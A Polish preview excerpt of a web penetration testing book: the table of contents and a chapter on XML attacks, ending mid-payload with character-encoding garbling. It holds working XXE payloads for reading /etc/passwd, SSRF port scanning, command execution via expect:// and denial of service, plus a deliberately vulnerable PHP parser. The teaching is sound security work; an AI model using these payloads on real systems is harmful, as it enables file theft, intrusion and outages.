Darmowy fragment publikacji:
Tytuł oryginału: Mastering Modern Web Penetration Testing
Tłumaczenie: Rafał Jońca
ISBN: 978-83-283-3459-5
Copyright © Packt Publishing 2016
First published in the English language under the title Mastering Modern Web Penetration Testing -
(9781785284588)
Polish edition copyright © 2017 by Helion SA
All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means,
electronic or mechanical, including photocopying, recording or by any information storage retrieval system,
without permission from the Publisher.
Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej
publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną,
fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje
naruszenie praw autorskich niniejszej publikacji.
Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich
właścicieli.
Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były
kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane
z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie
ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji
zawartych w książce.
Wydawnictwo HELION
ul. Kościuszki 1c, 44-100 GLIWICE
tel. 32 231 22 19, 32 230 98 63
e-mail: helion@helion.pl
WWW: http://helion.pl (księgarnia internetowa, katalog książek)
Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
http://helion.pl/user/opinie/tespen
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.
Printed in Poland.
• Kup książkę
• Poleć książkę
• Oceń książkę
• Księgarnia internetowa
• Lubię to! » Nasza społeczność
Spis tre(cid:258)ci
O autorze
O redaktorze merytorycznym
Wst(cid:218)p
Rozdzia(cid:239) 1. Typowe protoko(cid:239)y bezpiecze(cid:241)stwa
SOP
CORS
Kodowanie URL, czyli kodowanie z procentem
Podwójne kodowanie
Kodowanie Base64
Podsumowanie
Rozdzia(cid:239) 2. Zbieranie informacji
Techniki zbierania informacji
Wyliczanie domen, plików i zasobów
Fierce
theHarvester
SubBrute
CeWL
DirBuster
WhatWeb
Shodan
DNSdumpster
Wyszukiwanie domen po odwróconym adresie IP — YouGetSignal
Pentest-Tools
Zaawansowane wyszukiwanie Google
Podsumowanie
7
9
11
17
17
21
24
26
28
31
33
33
34
35
38
39
41
42
44
48
50
50
52
52
56
Poleć książkęKup książkę
Spis tre(cid:286)ci
Rozdzia(cid:239) 3. Ataki XSS
Odbity XSS
Zapisany XSS
Ataki XSS wykorzystuj(cid:200)ce Flasha — funkcja ExternalInterface.call()
Znaczniki HttpOnly i bezpieczne pliki cookie
Ataki XSS bazuj(cid:200)ce na obiektach DOM
Narz(cid:218)dzie BeEF, czyli wykorzystywanie podatno(cid:258)ci XSS
Podsumowanie
Rozdzia(cid:239) 4. Atak CSRF
Wprowadzenie do CSRF
Wykonywanie ataku CSRF dla (cid:285)(cid:200)da(cid:241) POST
W jaki sposób programi(cid:258)ci zapobiegaj(cid:200) CSRF?
Podatno(cid:258)(cid:202) CSRF PayPala dotycz(cid:200)ca zmiany numerów telefonów
Wykorzystanie podatno(cid:258)ci na atak CSRF w (cid:285)(cid:200)daniach typu JSON
Wykorzystanie ataku XSS do wykradania tokenów CSRF
Wykorzystanie s(cid:239)abo(cid:258)ci tokena CSRF
Flash na ratunek
Podsumowanie
Rozdzia(cid:239) 5. Wykorzystanie wstrzykiwania SQL
Instalacja SQLMap w systemie Kali Linux
Wprowadzenie do SQLMap
Pobieranie danych — scenariusz z wykorzystywaniem b(cid:239)(cid:218)du
SQLMap i modyfikacja adresów URL
Przyspieszamy ca(cid:239)y proces
Pobieranie danych z bazy w scenariuszach wykorzystuj(cid:200)cych czas
lub dzia(cid:239)aj(cid:200)cych na (cid:258)lepo
Odczyt i zapis plików
Obs(cid:239)uga wstrzykiwania w (cid:285)(cid:200)daniu POST
Wstrzykiwanie SQL do stron wymagaj(cid:200)cych logowania
Pow(cid:239)oka SQL
Pow(cid:239)oka polece(cid:241)
Unikanie filtrów — skrypty modyfikuj(cid:200)ce
Konfiguracja serwera po(cid:258)rednicz(cid:200)cego
Podsumowanie
Rozdzia(cid:239) 6. Podatno(cid:258)ci na atak zwi(cid:200)zane z przesy(cid:239)aniem plików
Podatno(cid:258)(cid:202) na atak zwi(cid:200)zana z przesy(cid:239)aniem plików — wprowadzenie
Zdalne wykonywanie kodu
Powrót do XSS
Ataki typu DoS
Obej(cid:258)cie zabezpiecze(cid:241) zwi(cid:200)zanych z przesy(cid:239)aniem plików
Podsumowanie
4
57
58
62
70
71
72
75
81
83
84
85
86
87
88
90
91
92
96
97
98
99
102
106
107
109
111
115
118
119
119
121
124
124
127
128
129
134
136
138
146
Poleć książkęKup książkę
Spis tre(cid:286)ci
Rozdzia(cid:239) 7. Metasploit i sie(cid:202) WWW
Modu(cid:239)y Metasploit
U(cid:285)ycie Msfconsole
Wykorzystanie modu(cid:239)ów pomocniczych zwi(cid:200)zanych z aplikacjami internetowymi
Wykorzystanie WMAP
Generowanie w Metasploit (cid:239)adunków dla aplikacji internetowych
Podsumowanie
Rozdzia(cid:239) 8. Ataki XML
Podstawy formatu XML
Atak XXE
XML do kwadratu
Podsumowanie
Rozdzia(cid:239) 9. Nowe wektory ataków
Atak SSRF
Atak IDOR
Przebijanie DOM
Atak RPO
Podmiana interfejsu u(cid:285)ytkownika
Wstrzykiwanie obiektów PHP
Podsumowanie
Rozdzia(cid:239) 10. Bezpiecze(cid:241)stwo Oauth 2.0
Wprowadzenie do modelu OAuth 2.0
Otrzymywanie upowa(cid:285)nie(cid:241)
U(cid:285)ycie OAuth dla zabawy i zysku
Podsumowanie
Rozdzia(cid:239) 11. Metodologia testowania API
Zrozumie(cid:202) API typu REST
Konfiguracja (cid:258)rodowiska testowego
Nauka API
Podstawowa metodologia testowania API dla programistów
Skorowidz
149
149
151
153
157
161
166
167
168
172
178
180
181
181
188
194
196
201
204
209
211
212
215
219
223
225
225
230
232
237
243
5
Poleć książkęKup książkęPoleć książkęKup książkę8
Ataki XML
W tym rozdziale przedstawi(cid:218) niektóre techniki ataku analizatorów sk(cid:239)adniowych XML. Anali-
zatory XML to najcz(cid:218)(cid:258)ciej programy lub biblioteki, które przyjmuj(cid:200) dokument XML, a nast(cid:218)pnie
analizuj(cid:200) go i przetwarzaj(cid:200) do (cid:239)atwej w obróbce formy. Format XML (ang. eXtensible Markup
Language) jest nadal bardzo popularnym formatem wymiany danych. Sk(cid:239)adnia XML przypomi-
na sk(cid:239)adni(cid:218) j(cid:218)zyka HTML, ale s(cid:239)u(cid:285)y tylko do przechowywania danych, cho(cid:202) w nieco bardziej
ustrukturyzowanym formacie. Standardowy dokument XML to zwyk(cid:239)y plik tekstowy, który sam
z siebie nic nie robi. Potrzebny jest wi(cid:218)c osobny program, który odczytuje zawarto(cid:258)(cid:202) pliku i na
jego podstawie wykonuje inne dzia(cid:239)ania. Z tego powodu ataki nie dotycz(cid:200) samych plików, ale
narz(cid:218)dzi ich przetwarzaj(cid:200)cych. XML to otwarty standard wspierany przez W3C (ang. World Wide
Web Consortium). Zanim przejd(cid:218) do sposobu ataku, pokrótce opisz(cid:218) sam format XML.
Kilka ataków prezentowanych w rozdziale wykorzystuje technik(cid:218) DoS (ang. Denial of Service). Pami(cid:218)taj,
aby testowa(cid:202) j(cid:200) tylko i wy(cid:239)(cid:200)cznie w kontrolowanym (cid:258)rodowisku, które mo(cid:285)na bez szkód dla firmy przywróci(cid:202)
do pe(cid:239)nej sprawno(cid:258)ci. Nigdy nie u(cid:285)ywaj tych technik w (cid:258)rodowiskach produkcyjnych — mo(cid:285)esz zosta(cid:202)
zwolniony, a nawet trafi(cid:202) do wi(cid:218)zienia!
W tym rozdziale poruszymy nast(cid:218)puj(cid:200)ce tematy:
(cid:81) podstawy formatu XML;
(cid:81) atak XXE — wykorzystanie zewn(cid:218)trznych encji XML;
(cid:81) u(cid:285)ycie XML do kwadratu.
Poleć książkęKup książkęTesty penetracyjne nowoczesnych serwisów
Podstawy formatu XML
Zanim przejdziemy do w(cid:239)a(cid:258)ciwych ataków, warto pozna(cid:202) podstawy XML. Format ten powsta(cid:239),
poniewa(cid:285) wcze(cid:258)niej dane przechowywano w formacie sp(cid:239)aszczonym, co utrudnia(cid:239)o zarówno
obs(cid:239)ug(cid:218) danych, jak i przenoszenie ich mi(cid:218)dzy systemami. Dla ka(cid:285)dego sp(cid:239)aszczonego pliku
programista musia(cid:239) napisa(cid:202) odpowiedni analizator i kod wczytuj(cid:200)cy. Dok(cid:239)adnie to samo zadanie
musia(cid:239) wykona(cid:202) w drug(cid:200) stron(cid:218), aby zapisa(cid:202) plik. W przypadku XML sytuacja jest znacznie
prostsza — istniej(cid:200) generyczne analizatory XML, które potrafi(cid:200) przeanalizowa(cid:202) ka(cid:285)dy poprawnie
skonstruowany dokument XML. Dodatkowo format XML jest czytelny dla ludzi.
Bardzo prosty dokument XML mo(cid:285)e mie(cid:202) posta(cid:202):
?xml version= 1.0 encoding= UTF-8 ?
student
name James Jones /name
roll PACKT/1001/16 /roll
dob 17-01-1947 /dob
address Birmingham, United Kingdom /address
/student
Elementy XML
Przedstawiony dokument XML zawiera kilka ró(cid:285)nych znaczników przechowuj(cid:200)cych ró(cid:285)nego
rodzaju dane mi(cid:218)dzy znacznikami pocz(cid:200)tku i ko(cid:241)ca. Dokument XML rozpoczyna si(cid:218) od pream-
bu(cid:239)y, czyli krótkiej deklaracji, (cid:285)e jest to dokument XML, i informacji o rodzaju kodowania.
W przyk(cid:239)adzie dokument u(cid:285)ywa kodowania UTF-8. Nast(cid:218)pnie pojawiaj(cid:200) si(cid:218) znaczniki, a ka(cid:285)dy
z nich ma w sobie pewne dane. Ca(cid:239)o(cid:258)(cid:202), czyli znacznik otwieraj(cid:200)cy, znacznik zamykaj(cid:200)cy i zawar-
to(cid:258)(cid:202), nazywa si(cid:218) elementem. Nazwa elementu wynika z wymaga(cid:241) lub innych czynników.
Oto przyk(cid:239)ad:
(cid:81) name James Jones /name to pe(cid:239)ny element;
(cid:81) name to znacznik otwieraj(cid:200)cy;
(cid:81) James Jones to tre(cid:258)(cid:202) elementu;
(cid:81) /name to znacznik zamykaj(cid:200)cy.
Znaczniki s(cid:200) czu(cid:239)e na wielko(cid:258)(cid:202) liter, wi(cid:218)c znacznik otwieraj(cid:200)cy musi mie(cid:202) tak(cid:200) sam(cid:200) posta(cid:202) jak znacznik
zamykaj(cid:200)cy. W przeciwnym razie analizator zg(cid:239)osi b(cid:239)(cid:200)d.
Dokumenty XML musz(cid:200) zawiera(cid:202) tylko jeden element bazowy (korze(cid:241)). W przedstawionym
przyk(cid:239)adzie jest nim element student ... /student .
168
Poleć książkęKup książkęRozdzia(cid:225) 8. • Ataki XML
Atrybuty XML
Rozwa(cid:285)my dokument XML:
?xml version= 1.0 encoding= UTF-8 ?
blogger
blog id= 123
post Hello World /post
owner James Jones /owner
/blog
/blogger
Zauwa(cid:285), (cid:285)e element blog ... /blog zawiera powi(cid:200)zany z nim atrybut o nazwie id i warto(cid:258)ci 123.
Atrybut to warto(cid:258)(cid:202) powi(cid:200)zania z elementem. Warto podkre(cid:258)li(cid:202), (cid:285)e warto(cid:258)(cid:202) atrybutu musi
znajdowa(cid:202) si(cid:218) w cudzys(cid:239)owach pojedynczych lub podwójnych.
XML DTD i znaki specjalne
XML DTD to dokument, który s(cid:239)u(cid:285)y do sprawdzenia poprawno(cid:258)ci dokumentu XML pod k(cid:200)tem
spe(cid:239)nienia pewnych warunków — dokument XML mo(cid:285)e by(cid:202) poprawny sk(cid:239)adniowo, ale nie
spe(cid:239)nia(cid:202) warunków DTD. Mo(cid:285)na powiedzie(cid:202), (cid:285)e jest to pewnego rodzaju szablon walidacyjny
zawieraj(cid:200)cy informacje o dopuszczalnych elementach i atrybutach.
Wewn(cid:218)trzny DTD
Rozwa(cid:285)my nast(cid:218)puj(cid:200)cy dokument XML:
?xml version= 1.0 encoding= UTF-8 ?
!DOCTYPE student [
!ELEMENT student (name,roll,dob,address)
!ELEMENT name (#PCDATA)
!ELEMENT roll (#PCDATA)
!ELEMENT dob (#PCDATA)
!ELEMENT address (#PCDATA)
]
student
name James Jones /name
roll PACKT/1001/16 /roll
dob 17-01-1947 /dob
address Birmingham, United Kingdom /address
/student
Dokument XML zawiera osadzony w sobie DTD, który definiuje dopuszczaln(cid:200) struktur(cid:218) danych.
DTD wykorzystuje bardzo prosty zapis, wi(cid:218)c jego interpretacja nie powinna sprawi(cid:202) wi(cid:218)kszych
problemów:
169
Poleć książkęKup książkęTesty penetracyjne nowoczesnych serwisów
(cid:81) !DOCTYPE student — wskazuje, (cid:285)e korzeniem ca(cid:239)ej struktury b(cid:218)dzie element student;
(cid:81) !ELEMENT student (name, roll, dob, address) — informuje, (cid:285)e element student
b(cid:218)dzie zawiera(cid:239) w sobie cztery inne elementy: name, roll, dob i address;
(cid:81) !ELEMENT name (#PCDATA) — wskazuje, (cid:285)e element name jest typu PCDATA, czyli
zawiera dane tekstowe; podobne zapisy dotycz(cid:200) elementów roll, dob i address.
Po cz(cid:218)(cid:258)ci DTD zaczyna si(cid:218) w(cid:239)a(cid:258)ciwy dokument XML.
Opisywany DTD nazywa si(cid:218) osadzonym DTD, poniewa(cid:285) znajduje si(cid:218) wewn(cid:200)trz dokumentu
XML z danymi.
Zewn(cid:218)trzny DTD
Tym razem rozwa(cid:285)my nast(cid:218)puj(cid:200)cy dokument XML:
?xml version= 1.0 encoding= UTF-8 ?
!DOCTYPE student SYSTEM student.dtd
]
student
name James Jones /name
roll PACKT/1001/16 /roll
dob 17-01-1947 /dob
address Birmingham, United Kingdom /address
/student
Tym razem w dokumencie XML znajduje si(cid:218) tylko i wy(cid:239)(cid:200)cznie adres URL do dokumentu DTD.
Analizator pobierze plik student.dtd i sprawdzi na jego podstawie poprawno(cid:258)(cid:202) dokumentu XML.
Plik DTD zawiera nast(cid:218)puj(cid:200)c(cid:200) tre(cid:258)(cid:202):
!ELEMENT student (name,roll,dob,address)
!ELEMENT name (#PCDATA)
!ELEMENT roll (#PCDATA)
!ELEMENT dob (#PCDATA)
!ELEMENT address (#PCDATA)
Poniewa(cid:285) rozdzielili(cid:258)my dokument XML i jego opis na potrzeby walidacji, dokument DTD
nazywamy zewn(cid:218)trznym DTD.
Encje XML
Sk(cid:239)adnia XML wymaga kodowania pewnych znaków. Dotyczy to przede wszystkim znaków,
które s(cid:200) standardowo u(cid:285)ywane do oznaczania znaczników, np. i . Ka(cid:285)da zakodowana instruk-
cji zaczyna si(cid:218) od znaku i ko(cid:241)czy znakiem ;. Zakodowany znak ma posta(cid:202) lt;. Poni(cid:285)sza ta-
bela zawiera kodowanie podstawowych znaków specjalnych w przekazywanych danych:
170
Poleć książkęKup książkęRozdzia(cid:225) 8. • Ataki XML
Znak
Zakodowana wersja
amp;
lt;
gt;
quot;
apos;
Zobaczmy, jak wygl(cid:200)da u(cid:285)ycie znaków specjalnych w danych zawartych w dokumencie XML:
?xml version= 1.0 encoding= UTF-8 ?
student
less lt; /less
/student
Deklaracja encji
Poza encjami dla znaków specjalnych mo(cid:285)emy równie(cid:285) samodzielnie definiowa(cid:202) inne encje,
które odnosz(cid:200) si(cid:218) do informacji wewn(cid:200)trz lub na zewn(cid:200)trz dokumentu.
Rozwa(cid:285)my nast(cid:218)puj(cid:200)cy kod XML:
?xml version= 1.0 encoding= UTF-8 ?
!DOCTYPE student [
!ELEMENT student (#PCDATA)
!ENTITY name James Jones
]
student name; /student
Dokument XML cz(cid:218)(cid:258)ci DTD zawiera znacznik !ENTITY name James Jones , który definiuje
name; jako warto(cid:258)(cid:202) James Jones. Jest to tak zwana deklaracja wewn(cid:218)trzna, poniewa(cid:285) wszystko
znajduje si(cid:218) w tym samym dokumencie i nie trzeba pobiera(cid:202) danych z zewn(cid:200)trz.
Mo(cid:285)emy równie(cid:285) korzysta(cid:202) z zewn(cid:218)trznych DTD do definiowania encji. Rozwa(cid:285)my nast(cid:218)puj(cid:200)cy
przyk(cid:239)ad:
?xml version= 1.0 encoding= UTF-8 ?
!DOCTYPE student [
!ELEMENT student (#PCDATA)
!ENTITY sname SYSTEM https://www.prakharprasad.com/external.xml
]
student sname; /student
Aby zadeklarowa(cid:202) zewn(cid:218)trzn(cid:200) encj(cid:218), u(cid:285)ywamy formatu:
!ENTITY nazwa SYSTEM URI
Po przeczytaniu dokumentu XML przez analizator zaczyna on obs(cid:239)ug(cid:218) zewn(cid:218)trznych URI na
podstawie zdefiniowanego mechanizmu ich pobierania. Zewn(cid:218)trzny plik pobiera pliki wewn(cid:218)trz-
ne i zast(cid:218)puje nimi wskazane wyst(cid:200)pienia. W przedstawionym przyk(cid:239)adzie adresem URI jest
171
Poleć książkęKup książkęTesty penetracyjne nowoczesnych serwisów
https://www.prakharprasad.com/external.xml, a nazw(cid:200) encji jest sname;. Plik external.xml zostanie
pobrany, a jego tre(cid:258)(cid:202) zast(cid:200)pi ka(cid:285)de wyst(cid:200)pienie sname; w elemencie student ... /student .
Zewn(cid:218)trzne encje to z perspektywy testera penetracyjnego bardzo dobry wektor ataku. Sposób
ich wykorzystania omówi(cid:218) w nast(cid:218)pnym podrozdziale dotycz(cid:200)cym ataku XXE.
Atak XXE
Atak XXE (ang. XML eXternal Entity) wykorzystuje mo(cid:285)liwo(cid:258)(cid:202) wczytywania w dokumentach
XML innych plików. Mo(cid:285)emy wykorzysta(cid:202) cz(cid:218)(cid:258)(cid:202) URI do wykonywania zada(cid:241) takich jak odczyt
plików, wydobywanie danych, podkradzenie (cid:285)(cid:200)dania po stronie serwera, a nawet wykonanie
dowolnego kodu.
W niektórych z prezentowanych przyk(cid:239)adów celowo w(cid:239)(cid:200)czy(cid:239)em kilka modu(cid:239)ów PHP, mi(cid:218)dzy innymi wczytywa-
nie zewn(cid:218)trznych encji, obs(cid:239)ug(cid:218) fopen i modu(cid:239) expect. Domy(cid:258)lna instalacja PHP ma te elementy wy(cid:239)(cid:200)czone.
Pami(cid:218)taj, (cid:285)e atak XXE dotyczy wszystkich platform serwerowych, wi(cid:218)c nawet je(cid:258)li pewien modu(cid:239) jest
zablokowany domy(cid:258)lnie dla j(cid:218)zyka PHP, to mo(cid:285)e zadzia(cid:239)a(cid:202) na serwerze u(cid:285)ywaj(cid:200)cym ASP, JSP itp.
Rozwa(cid:285)my nast(cid:218)puj(cid:200)cy fragment kodu PHP przetwarzaj(cid:200)cy dokument XML:
?php
$xml = $_POST[ xml ];
$student = simplexml_load_string($xml, SimpleXMLElement ,LIBXML_NOENT);
?
html
title Name Game /title
body
h3
pre
Your name is ?php echo $student- name; ?
/pre
/h3
/body
/html
Przedstawiony kod po prostu wy(cid:258)wietla imi(cid:218) przekazane wewn(cid:200)trz dokumentu XML przesy(cid:239)ane-
go (cid:285)(cid:200)daniem typu POST. Przedstawmy przyk(cid:239)ad dzia(cid:239)ania. Oto zrzut ekranu pokazuj(cid:200)cy u góry
przesy(cid:239)any dokument XML, a na dole odpowied(cid:283) wy(cid:258)wietlan(cid:200) przez PHP po jego przetworzeniu
(zobacz rysunek na nast(cid:218)pnej stronie).
(cid:146)atwo zauwa(cid:285)ymy, (cid:285)e PHP wydobywa z dokumentu XML dane osadzone w elemencie name i po
prostu je wy(cid:258)wietla. Zacznijmy wykorzystywa(cid:202) adresy URI dotycz(cid:200)ce zewn(cid:218)trznych encji.
172
Poleć książkęKup książkęRozdzia(cid:225) 8. • Ataki XML
Odczyt plików
Atak XXE umo(cid:285)liwia odczyt plików systemowych. To naprawd(cid:218) zadziwiaj(cid:200)ce, ale mo(cid:285)emy w ten
sposób odczyta(cid:202) zawarto(cid:258)(cid:202) innych plików zawieraj(cid:200)cych takie dane jak nazwa u(cid:285)ytkownika i has(cid:239)a
do bazy danych. Aby to zademonstrowa(cid:202), zadeklarujmy zewn(cid:218)trzn(cid:200) encj(cid:218) i wska(cid:285)my adresem
URI plik, który znajduje si(cid:218) na dysku serwera WWW.
Do skryptu PHP przeka(cid:285)emy dokument XML o nast(cid:218)puj(cid:200)cej tre(cid:258)ci:
?xml version= 1.0 encoding= UTF-8 ?
!DOCTYPE student [
!ENTITY oops SYSTEM file:///etc/passwd
]
student
name oops; /name
/student
Odpowied(cid:283) z serwera b(cid:218)dzie nast(cid:218)puj(cid:200)ca (zobacz pierwszy rysunek na nast(cid:218)pnej stronie).
Wspaniale! Uda(cid:239)o nam si(cid:218) odczyta(cid:202) zawarto(cid:258)(cid:202) pliku /etc/passwd z systemu Linux serwera,
który przetwarza(cid:239) dokument XML. Wykorzystali(cid:258)my protokó(cid:239) file://, aby odczyta(cid:202) plik i wy-
(cid:258)wietli(cid:202) tre(cid:258)(cid:202) jako zewn(cid:218)trzn(cid:200) encj(cid:218). Je(cid:258)li tylko pozwol(cid:200) na to uprawnienia, mo(cid:285)emy odczyta(cid:202)
w ten sposób i inne pliki.
173
Poleć książkęKup książkęTesty penetracyjne nowoczesnych serwisów
W niektórych (cid:258)rodowiskach mo(cid:285)liwe jest nawet otrzymanie listy plików znajduj(cid:200)cych si(cid:218) w kata-
logu za pomoc(cid:200) protoko(cid:239)u file://:
!ENTITY oops SYSTEM file:///etc/
Powy(cid:285)szy wpis pobierze list(cid:218) plików folderu /etc.
Alternatywa w postaci konwersji Base64 adresu URI w PHP
Mo(cid:285)emy wykorzysta(cid:202) konwersj(cid:218) Base64 adresu URI w PHP jako alternatyw(cid:218) do odczytu plików
za pomoc(cid:200) protoko(cid:239)u file://. Stosowanym powszechnie formatem jest:
php://filter/convert.base64-encode/resource=/plik/do/odczytu
Powtórzymy wcze(cid:258)niejszy przyk(cid:239)ad, ale tym razem u(cid:285)yjmy sztuczki z konwersj(cid:200). (cid:146)adunek XML
ma posta(cid:202):
!DOCTYPE student [
!ENTITY pwn SYSTEM php://filter/convert.base64-encode/resource=/etc/passwd
]
student
name pwn; /name
/student
Analizator pobierze wskazany plik /etc/passwd, ale zwróci go w postaci zakodowanej przy u(cid:285)yciu
formatu Base64 (zobacz pierwszy rysunek na nast(cid:218)pnej stronie).
Wystarczy teraz skopiowa(cid:202) dane, wklei(cid:202) je do dekodera Base64 (np. narz(cid:218)dzia Burp Decoder)
i otrzyma(cid:202) faktyczn(cid:200) zawarto(cid:258)(cid:202) pliku (zobacz drugi rysunek na nast(cid:218)pnej stronie).
174
Poleć książkęKup książkęRozdzia(cid:225) 8. • Ataki XML
Przedstawion(cid:200) technik(cid:218) warto zastosowa(cid:202) za ka(cid:285)dym razem, gdy podejrzewamy, (cid:285)e (cid:258)rodowisko
PHP mo(cid:285)e by(cid:202) podatne na atak XXE.
SSRF poprzez XXE
SSRF (ang. Server-Side Request Forgery) to mechanizm, który wykorzystamy do ataku — serwer
uruchamiaj(cid:200)cy analizator XML wykona na nasz rozkaz po(cid:239)(cid:200)czenie z dowolnym innym kom-
puterem. Dok(cid:239)adniej podatno(cid:258)(cid:202) SSRF opisz(cid:218) w nast(cid:218)pnym rozdziale, a na razie skupmy si(cid:218)
na u(cid:285)yciu jej do skanowania portów. Wykorzystamy adresy URL dotycz(cid:200)ce protoko(cid:239)u HTTP,
ale r(cid:218)cznie wska(cid:285)emy numery portów. Logika jest prosta: gdy analizator spróbuje odczyta(cid:202)
dane z adresu URI, dla ka(cid:285)dego otwartego portu zwróci stron(cid:218) z b(cid:239)(cid:218)dem HTTP (czasem nawet
z dodatkow(cid:200) informacj(cid:200) o us(cid:239)udze), ale dla zamkni(cid:218)tego portu zwróci informacj(cid:218) o problemie
z po(cid:239)(cid:200)czeniem si(cid:218). (cid:146)adunek móg(cid:239)by mie(cid:202) posta(cid:202):
?xml version= 1.0 encoding= UTF-8 ?
!DOCTYPE student [
!ENTITY oops SYSTEM http://scanme.nmap.org:20/
]
student
name oops; /name
/student
Zauwa(cid:285), (cid:285)e zaczynamy od portu o numerze 20. Zwi(cid:218)kszamy numer portu tak d(cid:239)ugo, a(cid:285) znaj-
dziemy otwarty port:
175
Poleć książkęKup książkęTesty penetracyjne nowoczesnych serwisów
!ENTITY oops SYSTEM http://scanme.nmap.org:20/
!ENTITY oops SYSTEM http://scanme.nmap.org:21/
!ENTITY oops SYSTEM http://scanme.nmap.org:22/
...
!ENTITY oops SYSTEM http://scanme.nmap.org:X/
Dla portu o numerze 20 otrzymali(cid:258)my informacje: Connection refused i failed to load external
entity:
Podobn(cid:200) informacj(cid:218) otrzymujemy dla portu 21, ale dla portu 22 otrzymali(cid:258)my inny b(cid:239)(cid:200)d, co (cid:258)wiad-
czy o tym, (cid:285)e port jest otwarty:
Co istotne, otrzymali(cid:258)my nawet informacj(cid:218) o us(cid:239)udze, która nas(cid:239)uchuje na porcie 22 — jest to
us(cid:239)uga OpenSSH. Tego rodzaju skanowanie portów mo(cid:285)emy przeprowadzi(cid:202) bardzo szybko.
Zdalne wykonywanie kodu
Mo(cid:285)liwo(cid:258)(cid:202) zdalnego wykonania kodu na serwerze to zawsze kusz(cid:200)ca oferta. Je(cid:258)li tylko mo(cid:285)emy
wykorzysta(cid:202) obs(cid:239)ug(cid:218) protoko(cid:239)u URI expect:// zapewnian(cid:200) przez PHP, warto z niej skorzysta(cid:202)
do uruchamiania polece(cid:241) na serwerze. Dokumentacja PHP wskazuje, (cid:285)e wystarczy umie(cid:258)ci(cid:202)
po elemencie expect:// nazw(cid:218) polecenia (zobacz pierwszy rysunek na nast(cid:218)pnej stronie).
Rozwa(cid:285)my wi(cid:218)c poni(cid:285)szy (cid:239)adunek XML, który spowoduje wykonanie kodu, je(cid:258)li jest w(cid:239)(cid:200)czona
obs(cid:239)uga protoko(cid:239)u expect://:
?xml version= 1.0 encoding= UTF-8 ?
!DOCTYPE name [
!ENTITY rce SYSTEM expect://id
]
176
Poleć książkęKup książkęRozdzia(cid:225) 8. • Ataki XML
Dokumentacja PHP dotycz(cid:200)ca expect://
student
name rce; /name
/student
Powy(cid:285)szy kod wykona(cid:239) polecenie id na serwerze z systemem Linux:
Na tym zako(cid:241)czymy prezentacj(cid:218) zdalnego wykonywania kodu. Przejd(cid:283)my teraz do ataków DoS
poprzez XXE.
Atak DoS poprzez XXE
Mo(cid:285)emy zmusi(cid:202) serwer podatny na XXE do odczytywania plików takich jak /dev/random lub
/dev/urandom, co najprawdopodobniej spowoduje ich zawieszenie. Ju(cid:285) wcze(cid:258)niej skorzystali(cid:258)my
z protoko(cid:239)u file:// w definicji dokumentu XML, wi(cid:218)c spróbujmy odczyta(cid:202) zawarto(cid:258)(cid:202)
/dev/random i wstawi(cid:202) j(cid:200) jako element zast(cid:218)puj(cid:200)cy encj(cid:218):
?xml version= 1.0 encoding= UTF-8 ?
!DOCTYPE student [
!ENTITY oops SYSTEM file:///dev/random
]
177
Poleć książkęKup książkęTesty penetracyjne nowoczesnych serwisów
student
name oops; /name
/student
Tego rodzaju (cid:239)adunek, je(cid:258)li zostanie wykonany wielokrotnie, mo(cid:285)e spowodowa(cid:202) znacz(cid:200)ce
spowolnienie dzia(cid:239)ania serwera, a nawet jego unieruchomienie. Oto przyk(cid:239)adowy efekt takiego
ataku na moim serwerze testowym:
Zrzut ekranu przedstawia b(cid:239)(cid:200)d CloudFlare zwi(cid:200)zany z faktem, i(cid:285) mój serwer przesta(cid:239) odpo-
wiada(cid:202) na (cid:285)(cid:200)dania (z powodu ataku). Przyjrzyjmy si(cid:218) dok(cid:239)adniej sposobowi ataku przy u(cid:285)yciu
techniki nazywanej XML do kwadratu.
XML do kwadratu
Atak tego rodzaju to specjalny atak typu DoS na analizator danych XML. Zanim jednak przejd(cid:218)
do opisu tej techniki, wyja(cid:258)ni(cid:218) inn(cid:200) technik(cid:218) ataku, nazywan(cid:200) miliard u(cid:258)mieszków, która obecnie
ju(cid:285) nie dzia(cid:239)a, ale wyja(cid:258)ni podstawy w(cid:239)a(cid:258)ciwego ataku.
Miliard u(cid:258)mieszków
Atak DoS typu miliard u(cid:258)mieszków zaczynamy od zadeklarowania dokumentu XML z encj(cid:200)
o nazwie lol (w(cid:239)a(cid:258)nie od tej nazwy wzi(cid:218)(cid:239)a swój pocz(cid:200)tek nazwa ataku, ale w praktyce mo(cid:285)na
u(cid:285)y(cid:202) dowolnej innej nazwy). Encj(cid:218) zagnie(cid:285)d(cid:285)amy rekurencyjnie 10 lub wi(cid:218)cej razy. Wymusi to
na analizatorze XML zarezerwowanie pami(cid:218)ci dla ka(cid:285)dej encji. Zostanie zmarnowane naprawd(cid:218)
du(cid:285)o pami(cid:218)ci do przesy(cid:239)ania tego samego dokumentu XML, co najprawdopodobniej doprowadzi
178
Poleć książkęKup książkęRozdzia(cid:225) 8. • Ataki XML
do braków w pami(cid:218)ci serwera WWW. Niestety, nowoczesne analizatory wykrywaj(cid:200) obecnie
zagnie(cid:285)d(cid:285)one encje XML i zatrzymuj(cid:200) analiz(cid:218). Klasyczny przyk(cid:239)ad ataku tego typu przedsta-
wiam poni(cid:285)ej:
?xml version= 1.0 ?
!DOCTYPE lolz [
!ENTITY lol lol
!ENTITY lol1 lol; lol; lol; lol; lol; lol; lol; lol; lol; lol;
!ENTITY lol2 lol1; lol1; lol1; lol1; lol1; lol1; lol1; lol1; lol1; lol1;
!ENTITY lol3 lol2; lol2; lol2; lol2; lol2; lol2; lol2; lol2; lol2; lol2;
!ENTITY lol4 lol3; lol3; lol3; lol3; lol3; lol3; lol3; lol3; lol3; lol3;
!ENTITY lol5 lol4; lol4; lol4; lol4; lol4; lol4; lol4; lol4; lol4; lol4;
!ENTITY lol6 lol5; lol5; lol5; lol5; lol5; lol5; lol5; lol5; lol5; lol5;
